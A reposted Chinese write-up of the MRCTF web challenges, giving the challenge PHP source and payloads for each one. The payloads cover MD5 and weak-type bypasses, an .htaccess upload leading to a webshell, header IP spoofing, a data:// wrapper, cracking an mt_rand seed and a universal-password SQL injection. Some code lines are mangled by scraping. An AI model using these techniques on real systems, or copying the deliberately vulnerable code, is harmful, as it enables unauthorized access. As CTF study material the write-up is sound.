[MRCTF]Web WriteUp
2021-03-28 19:26
标签:ini 运行 change hacker audit 弱类型 技术 not lin 和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13 - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 进入题目得到源码: 第一层: md5($id) === md5($gg) && $id !== $gg MD5强相等,数组绕过即可 /index.php?id[]=1&gg[]=2 第二层: !is_numeric($passwd) && $passwd==1234567 is_numeric()绕过:十六进制绕过、%00截断绕过、弱类型比较绕过均可 POST: passwd=1234567a 出题人脾气挺爆的啊,进入题目直接给了一个上传点: fuzz一下发现后端过滤了所有拓展名中含ph的文件,并且有Content-Type验证 服务器是Apache,不难想到利用.htaccess来将jpg文件当作php文件解析 写一个.htaccess文件,源码如下: 上传时注意抓包修改 Content-Type: image/jpeg 上传成功后上传一个jpg拓展名的一句话木马,得到Shell,Flag在根目录下: 进入题目查看源代码得到一段验证的Js代码: 发现md5验证成功后会跳转到/flag.php,跟进文件看一下: 细品红框中的话,添加XFF头为127.0.0.1 X-Forwarded-For: 127.0.0.1 ,得到Flag: (这里的一个坑是输出的Flag是白色的,如果没有用Burp或者其他工具看源码,就要右键框选一下文字才能看到) 第一层,Ctrl+U 查看源代码: NCTF原题改编,构造Payload: 第一个if判断:php会把空格( )或者点(.)自动替换成下划线(_),可以绕过 第二个if判断:prep_match()正则匹配,在23333后面加%0A绕过 最终Payload: b u p t=23333%0A 或 b.u.p.t=23333%0A 得到提示:FLAG is in secrettw.php 进入secrettw.php,右键源代码发现注释中有JsFuck,放进F12运行一下得到: POST:Merak=1 即可得到源码: 分析思路:首先用file_get_contents()函数获取2333参数的内容,要求获取到的内容为todat is a happy day;其次是验证IP是否为127.0.0.1;最后是用解密函数对file参数解密,然后包含输出file参数的值; 第一层用data伪协议就可以直接绕过 index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk= 第二层IP验证测试了一下常用的Header,发现Client-IP可以绕过,添加Header: Client-IP: 127.0.0.1 第三层对file参数进行了一个解密,反推出加密脚本: Payload: file=ZmpdYSZmXGI= 最终Payload: index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI= Header添加: Client-IP: 127.0.0.1 www.zip源码泄露,里面只有一个index.php文件: 大概看了一下,这段代码需要三个参数: username(crispr) 、 password(万能密码) 、 Private_key(私钥) 得到种子后再用php_mt_seed爆破一下得到种子: seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM) 写个脚本播撒种子,推出私钥: 得到私钥为 XuNhoueCDCGc 得到私钥,然后在login.html页面用万能密码登陆进去得到Flag [MRCTF]Web WriteUp 标签:ini 运行 change hacker audit 弱类型 技术 not lin 原文地址:https://www.cnblogs.com/yesec/p/12616923.htmlEz_bypass
php
include ‘flag.php‘;
$flag=‘MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}‘;
if(isset($_GET[‘gg‘])&&isset($_GET[‘id‘])) {
$id=$_GET[‘id‘];
$gg=$_GET[‘gg‘];
if (md5($id) === md5($gg) && $id !== $gg) {
echo ‘You got the first step‘;
if(isset($_POST[‘passwd‘])) {
$passwd=$_POST[‘passwd‘];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo ‘Good Job!‘;
highlight_file(‘flag.php‘);
die(‘By Retr_0‘);
}
else
{
echo "can you think twice??";
}
}
else{
echo ‘You can not get it !‘;
}
}
else{
die(‘only one way to get the flag‘);
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die(‘Please input first‘);
}
}
?>
你传你??呢
PYwebsite
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
套娃
//1st
$query = $_SERVER[‘QUERY_STRING‘];
if( substr_count($query, ‘_‘) !== 0 || substr_count($query, ‘%5f‘) != 0 ){
die(‘Y0u are So cutE!‘);
}
if($_GET[‘b_u_p_t‘] !== ‘23333‘ && preg_match(‘/^23333$/‘, $_GET[‘b_u_p_t‘])){
echo "you are going to the next ~";
}
php
error_reporting(0);
include ‘takeip.php‘;
ini_set(‘open_basedir‘,‘.‘);
include ‘flag.php‘;
if(isset($_POST[‘Merak‘])){
highlight_file(__FILE__);
die(); //注意这里!如果POST了Merak就会Die
}
//重点在这个加密函数上
function change($v){
$v = base64_decode($v);
$re = ‘‘;
for($i=0;$istrlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo ‘Local access only!‘."
";
$ip = getIp();
if($ip!=‘127.0.0.1‘)
echo "Sorry,you don‘t have permission! Your ip is :".$ip;
if($ip === ‘127.0.0.1‘ && file_get_contents($_GET[‘2333‘]) === ‘todat is a happy day‘ ){
echo "Your REQUEST is:".change($_GET[‘file‘]);
echo file_get_contents(change($_GET[‘file‘])); }
?> php
function enc($payload){
for($i=0; $istrlen($payload); $i++){
$re .= chr(ord($payload[$i])-$i*2);
}
return base64_encode($re);
}
echo enc(‘flag.php‘);
//flag.php加密后得到:ZmpdYSZmXGI=
?>
Ezaudit
php
header(‘Content-type:text/html; charset=utf-8‘);
error_reporting(0);
if(isset($_POST[‘login‘])){
$username = $_POST[‘username‘];
$password = $_POST[‘password‘];
$Private_key = $_POST[‘Private_key‘];
if (($username == ‘‘) || ($password == ‘‘) ||($Private_key == ‘‘)) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header(‘refresh:2; url=login.html‘);
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != ‘*************‘ )
{
header(‘refresh:2; url=login.html‘);
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === ‘************‘){
$getuser = "SELECT flag FROM user WHERE username= ‘crispr‘ AND password = ‘$password‘".‘;‘; //直接SQL注入 万能密码就能过去
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "
".$row["username"]."
".$row["flag"]."
";
}
}
}
}
//代码简化了一下
// genarate public_key
function public_key($length = 16) {
$strings1 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
$public_key = ‘‘;
for ( $i = 0; $i $i++ )
$public_key .= substr($strings1, mt_rand(0, 61), 1); //BJDCTF 1st 枯燥的抽奖原题
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
$private_key = ‘‘;
for ( $i = 0; $i $i++ )
$private_key .= substr($strings2, mt_rand(0, 61), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr‘s private_key???
只要能正确输入账号和密码(密码直接用万能密码就可以)以及私钥就可以获得Flag。但是需要公私密钥,这里的突破点是使用了mr_rand()伪随机数函数,并且题目最后给出了公钥,思路也就是利用公钥推算出私钥进行SQL注入。
根据公钥爆破出mt_rand()的种子:str1=‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘
str2=‘KVQP0LdJKRaV3n9D‘
str3 = str1[::-1]
length = len(str2)
res=‘‘
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+‘ ‘+str(j)+‘ ‘+‘0‘+‘ ‘+str(len(str1)-1)+‘ ‘
break
print res
php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
$public_key = ‘‘;
for ( $i = 0; $i $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
function private_key($length = 12) {
$strings2 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
$private_key = ‘‘;
for ( $i = 0; $i $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key()."\n";
echo private_key();
?>
文章标题:[MRCTF]Web WriteUp
文章链接:http://soscw.com/index.php/essay/69185.html